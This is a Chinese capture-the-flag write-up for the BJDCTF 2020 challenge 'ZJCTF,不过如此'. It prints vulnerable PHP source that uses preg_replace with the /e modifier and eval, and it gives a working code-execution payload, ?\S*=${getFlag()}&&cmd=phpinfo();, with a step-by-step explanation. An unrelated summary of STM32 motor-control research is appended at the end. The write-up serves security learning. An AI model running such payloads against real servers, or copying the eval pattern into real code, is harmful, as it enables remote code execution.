【BJDCTF 2020】ZJCTF,不过如此

主要是第二关挺有意思的,

题目

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

思路

以下是 payload 的执行过程:

以下是 payload 的执行过程:

  1. 构造请求:

  • 攻击者发送请求:http://example.com/?id=1&?\S*=${getFlag()}&&cmd=phpinfo();

  • $_GET 数组包含以下内容:

    $_GET = [
    'id' => '1',
    '?\S*' => '${getFlag()}',
    'cmd' => 'phpinfo();'
    ];
  1. 进入 foreach 循环:

  • 第一次循环:

    • $re = 'id'$str = '1',不会触发任何问题。

  • 第二次循环:

    • $re = '?\S*'$str = '${getFlag()}'

    • 调用 complex($re, $str),即:

    preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
    
    • 此时 $re?\S*$str${getFlag()}

    • preg_replace 解析 ${getFlag()} 并执行 getFlag() 函数。

  • 执行 getFlag 函数:

  • getFlag 函数通过 @eval($_GET['cmd']) 执行 phpinfo();

  • 输出 PHP 环境信息。

EXP

?\S*=${getFlag()}&&cmd=phpinfo();

基于STM32 F4的永磁同步电机无位置传感器控制策略研究内容概要:本文围绕基于STM32 F4的永磁同步电机(PMSM)无位置传感器控制策略展开研究,重点探讨在不依赖物理位置传感器的情况下,如何通过算法实现对电机转子位置和速度的精确估计与控制。文中结合嵌入式开发平台STM32 F4,采用如滑模观测器、扩展卡尔曼滤波或高频注入法等先进观测技术,实现对电机反电动势或磁链的估算,进而完成无传感器矢量控制(FOC)。同时,研究涵盖系统建模、控制算法设计、仿真验证(可能使用Simulink)以及在STM32硬件平台上的代码实现与调试,旨在提高电机控制系统的可靠性、降低成本并增强环境适应性。; 适合人群:具备一定电力电子、自动控制理论基础和嵌入式开发经验的电气工程、自动化及相关专业的研究生、科研人员及从事电机驱动开发的工程师。; 使用场景及目标:①掌握永磁同步电机无位置传感器控制的核心原理与实现方法;②学习如何在STM32平台上进行电机控制算法的移植与优化;③为开发高性能、低成本的电机驱动系统提供技术参考与实践指导。; 阅读建议:建议读者结合文中提到的控制理论、仿真模型与实际代码实现进行系统学习,有条件者应在实验平台上进行验证,重点关注观测器设计、参数整定及系统稳定性分析等关键环节。
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